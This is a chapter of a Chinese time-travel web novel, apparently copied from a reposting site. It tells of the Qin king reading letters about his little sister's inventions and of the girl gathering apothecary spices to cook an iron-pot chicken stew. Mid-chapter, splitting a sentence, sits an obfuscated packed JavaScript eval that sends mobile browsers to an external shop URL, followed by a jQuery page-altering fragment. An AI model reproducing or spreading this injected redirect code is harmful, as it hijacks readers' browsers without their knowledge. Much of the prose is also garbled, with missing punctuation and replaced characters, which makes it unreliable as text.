第 19 章 铁锅炖鸡
    咸阳宫。

    “王上,雍城密信。”

    “呈上来。”

    一样的流程,一样的动作,唯一不一样的则是密信的内容。从原先每半月一次的密信,现在变成每出新事物便一次,其频率比之前还有多无少,每每让嬴政眼前一亮,多有感慨。

    这几回送来的密信时间相差极近,且都与水力有关。利用水车灌溉、推磨、烧炉,经过雍城那边的试验确实省时省力,让嬴政也有在咸阳附近的渭水河畔建几个水车的想法。

    “似乎是可以把此事提上日程,”嬴政想了想,便打开了此次送来的密信,心情愉悦的准备接收新消息。

    密信打开粗粗扫视过去,突然正面含微笑的嬴政身形一顿表情微变,放下手中密信嘴唇微抿捂嘴沉思,片刻又神情严肃的再度低头。

    密信开头蒙直便交代水力烧炉的结果,冶铁技术已自成气候,还出现了替代青铜器皿的新容器青瓷,且被小公主交于吕相代卖,还有名为琉璃的稀世珍宝也被炼化出来……

    嬴政正是看到此处开始,表情有微妙的变化。

    【雍主曰:‘秦奋六世无一昏君成就强国,乃天有心平息百年战乱故意扶持。’‘天降大任于斯人也,必先苦其心志,王上出身高贵却幼年劳苦,必身负重任……’‘秦出战六国皆需钱粮,琉璃精美价高,可用于军资……’】

    短短几行字,句句打在嬴政心头心间心底,让他不禁眼热鼻酸。十几年无人问候关心的嬴政第一次遇到如此情况,稚子赤诚之心难能可贵,幼妹相助之心幼眼可见。

    自他嬴政登基以来,朝中众人心思各异暗藏鬼胎,有怀疑者、有质疑者、有不服者、更有想取而代之者,就连自己的亲母赵姬也只是让他听吕不韦的话,何人把他这新任秦王放在眼里过,也就最近借幼妹雍月白玉拉进华阳太后之福,自己掌权一事才有眉目,连带着让吕不韦也退后几分。

    嬴政怎么也没想到,自己这个被众人不被看好的秦王,竟然如此得幼妹青睐,笃定自己定会在未来‘进攻中原一统六国’,就连与自己日日相见的满朝文武都没有如此坚信过。加上从雍月崭露头角起,雍城那边传来的各种新事物,嬴政的心里也是愈发的熨帖。

    如此支持和信重,嬴政岂能不爱。

    “……不止是大秦之福,更是寡人之福啊!”

    本来安静的大殿中,嬴政突兀的一声感慨,不禁让殿中伺候的宫人侧目。哪怕嬴政在感慨之时隐去了雍月的姓名,但能被一国之君如此赞叹,依旧有不少人在心里纷

    纷思考王上说的到底是何人只除了嬴政身边的贴身近侍张林。

    “张林吕相可是回吕府了?”

    嬴政突然的问话打断了殿内众人的思绪被点到名的张林站了出来弯腰应道

    “是吗这也难怪……”

    吕相出行只是普通速度哪里有蒙直叫人快马加鞭的速度快。

    嬴政放下手中的绢帛暗道蒙直估计也是担心则乱啊本来这青瓷就是雍月所做幼妹跟吕相做生意也是你情我愿哪怕青瓷未来价值千金又与寡人何干蒙直根本没必要因此让寡人恕罪。不过更易制作且精美的琉璃没想到雍月有将它上交的打算倒是有点出乎寡人意料。

    自己拟定的封君旨意还没下幼妹倒是先把礼物送上来看来旨意上的赏赐自己应该再改改总不能寒了幼妹那颗一直为寡人着想的心。

    “张林。”

    “老奴在。”

    “将这些丝绢放进寡人私库另外把之前拟的封君王旨拿过来。”

    “诺。”

    *

    雍城。

    雍月此刻可不知道他家老祖宗想干什么她现在满脑子都是舌尖上的诱惑。

    本来嘛雍月想到冶铁就是为了民生。在农具都用上铁制的之后雍月就有了新的追求铁都出来铁锅还会远吗!铁锅出现了咱华夏五千年的美□□髓炒、煎、炖等等烹饪方式可不就在眼前!

    吕不韦已经被送走好几天了就因为她雍月都不太敢让炼铁那边的师傅给她做铁锅就怕吕不韦吃好后继续赖在雍城。君不见她为了把吕不韦弄走花了多大的力气费了多少的努力连青瓷的制作方法都送出去了。不过幸好结局是好的让她还能吃点回扣的福利就冲这雍月就给吕不韦加了不少好感值。

    毕竟老秦人穷怕了!

    虽然雍月算不生什么地地道道的老秦人但是懂得都懂在经过现代生活的雍月来到秦朝过的都是什么日子要啥啥没有吃啥自己整。这才两年时间老秦人穷怕了的思维就传染过来大秦穷起来那TM是真穷啊!

    猫猫生无可恋脸.jpg

    而现在将铁锅弄出来后雍月就是想吃点好的蒸煮拌什么的她可吃的够够的了!必须改善伙食现在马上!

    雄赳赳气昂昂的雍月在铁锅做出来的第一秒就让蒙直带着它直奔后厨人家□□傅在知道今天又要有新菜谱后早早就就等在那里了!

    为了今天□□傅也

    是拿出了十八般武艺,炉灶也让人事先腾出来了,就等铁锅一到开整。

    准备好新杀的小鸡,就是半成年的鸡,这个年龄段的鸡个头虽不大,但是肉质鲜美。正巧雍城因为开春蝗虫的原因,全城的黔首都在搞养殖,这种半成年的鸡并不难买,价格也不贵,极适合做铁锅第一批试验品。

    再找经常上山的老猎人买点可食用蘑菇,这不小鸡炖蘑菇的两样主要食材就都准备好了。

    *

    其实雍月一直弄错了一点,她以为在秦朝只有盐和花椒两种调味料,毕竟上次她要求后厨做面条的时候,后厨就拿出这两样。事实上她弄错了,调味料不是没有,而是没有划分在食材里。

    说来也是赶巧了,因为雍月之前提供了有关蝗虫的药方,所以闲来无事心血来潮就像去秦朝的药铺去看看,算是另类的打卡参观。谁曾想,就是这样的心血来潮,却让雍月收获了意外的惊喜。

    “这……这不是去腥神器,生姜吗!雍月惊异的看着某个药盒里放着的黄色根块,感动的都要流泪了。

    “呃,小公主说的是干姜吧!

    有点拿不准这位盛名在雍城的小公主想什么,药房的掌柜只能干巴巴的接话,顺便将雍月说错的药改了回来。这也是没有办法的事,药这种东西可不能乱用,万一小公主弄错误食了可怎么办。先不说干姜适不适合小公主吃,单就说这东西味辛辣舌难吃至极,让误食的小公主因此心生不满自己可就太冤了。

    “小公主,干姜这东西味辛,虽然具有发汗解暑止呕止咳的功效,但是真的很难吃,您不要……

    “谁跟你说我要吃它了,我就是借用一下它的其他功效!雍月摆摆手打断了药房掌柜的话,明知故问,“这个你们叫干姜是吧!

    “是的。

    “那行,给我来两块干姜。雍月笑眯眯的看向对方,然后又伸手指了指药柜的其他抽屉,接着道,“这些也每样给我来一点,不用多,几两就够。春雁,掏钱。

    “喏。

    今天可真是大丰收啊!看看她在这里都找到了什么,生姜就先不说了,茴香、白芷、肉桂、肉蔻、公丁香、八角……有一说一,东西要是再全一点,她能在秦朝把十三香弄出来,不过现在也不差什么了!

    最重要的就是生姜,家中常备去腥之物。华夏千年的食谱要是少了它,就跟缺少灵魂没什么区别。只要有了生姜,雍月在秦朝做美食的操作性可真是几何倍的翻长。要知道这个时代之所以将彘肉(猪肉)定为贱肉,就是因为彘肉的

    肉又臭又腥影响口感。现在有了生姜以及这些其他的调味料只要操作得当在大秦将红烧肉、锅包肉、炖排骨等等美食重现阳光将不再是难事!

    不过话说回来她是不是应该将骟猪也提上日程了让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12882129|136031||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    养猪成为黔首们的日常能提高收入不说自己还能随时大饱口福。想想现代那些带着猪肉的美食雍月不禁陷入了让口水泛滥的幻想中。虽然此时还是稚童的她牙没长齐但是作为一个爱好美食的华夏妹子只要有目标办法总比问题多!

    这样想着雍月的背后燃起熊熊火焰连头顶上的达摩克利斯之剑都忘了。生活这么苦想点甜也是好的毕竟离她死亡倒计时也没几年了!

    药房掌柜见小公主手起指落的对着自家药柜点点点

    “小公主小公主这药材不是这么买的啊!更何况你这看起来没病没灾的就算是好药也不能乱吃啊!”药房掌柜有些急得麻爪连忙拦住坐堂大夫欲要抓药的手苦着一张脸忙不迭的劝说道。

    “哎你这掌柜倒是有点意思别人花钱买药你还不干!”

    “小公主呦你就别拿草民开玩笑了秦律有规定不定乱卖药得有医嘱。而且本家药房买药多年也是有医德的哪能视人命做儿戏。”掌柜弯着腰苦哈哈的解释人也堵在药柜前说啥也不挪步。

    “这么说的话你人还挺好的嘞!不过这些我都懂掌柜的你就不用担心了!”

    雍月一副我心里有数的样子拍拍胸口却忘了自己此时的年龄根本就让人放不下心来。不过识货的人还是有的比如刚才要帮着装药的坐堂大夫。

    “行了吧东家你就不要劝了!”被掌柜一起拦在身后的大夫拍了拍自家老板的肩膀说了句公道话“你别忘了有关蝗虫的药方就是小公主弄出来的官府那边都说了!人家的医理知识可比咱们强多了跟别说……”

    小公主母胎三年不出得天所授……

    坐堂大夫一个眼神过去药房掌柜瞬间想起还有这么一码事激动之下抬手拍向脑门懊恼道“你不说我都忘了确实如此确实如此!”

    不太明白对面两人在打什么眉眼官司但是得到可以买药的承诺后雍月可就管不了那么多了!赶紧拽着春雁和蒙直给她打包读作药材实为食材的几样东西仿佛低配版的十三香就在眼前。

    *

    回忆结束,视线转回雍城宫后厨。

    一切准备就绪后,被春雁抱着的雍月开始对着屋内的众人指挥。

    “先用清水将切好的鸡肉洗干净,然后泡进清水里,将鸡肉里面的血水去掉。这个需要的时间有点长,鸡肉就先泡着,到时我在叫你们处理。”

    安排好鸡肉这边后,雍月便让春雁将之前晒干的‘药材’拿出来,指着一旁的蒙直命令道,“将这些药材拿到石磨那边磨成粉,留着备用!”

    蒙直得令转身就去磨调味料,顺便在磨粉之前偷偷记下里面都装了什么。

    “将蘑菇洗干净,也用水泡好,然后我们的蒙直磨完回来继续。”

    毕竟雍月晒干的调味料真的不少,一次多准备点也省事,所以光是磨调味料,蒙直就花了近半个时辰。当蒙直用木盆将粉末带回来时,雍月早就准备好琉璃罐,让春雁往里面装。琉璃罐也是雍月设计好让烧炉那边做的,专门定制独树一家绝无分店。

    之后的过程,凡是现代在家炖过鸡的人,心里就都有数了。

    铁锅放油炒鸡,加盐加姜加花椒,翻炒至变色,加水没过鸡肉,最后将蒙直磨好的调味粉放几勺进去,然后盖上锅盖开始铁锅炖。

    之前还没觉得如何,但是不消一刻钟,后厨内便被炖鸡的香味铺满。雍月吞了吞口水,然后瞄向泡在水中的蘑菇,算了算时间让春雁也放了进去。就在春雁打开盖子的一瞬间,屋内所有人的表情都变了,垂涎之意溢于言表。吞咽的口水声此起彼伏,毕竟这种美食zha弹对这个时代的人伤害还是很大的,雍月理解。

    众人整整等了近半个时辰,屋内的炖鸡的香气也飘了半个时辰。坐等无聊的雍月没事环顾了一下四周,差点让这群人的表情逗得笑趴,这狼眼都冒绿光了。

    “好了,开锅!”

    作者有话要说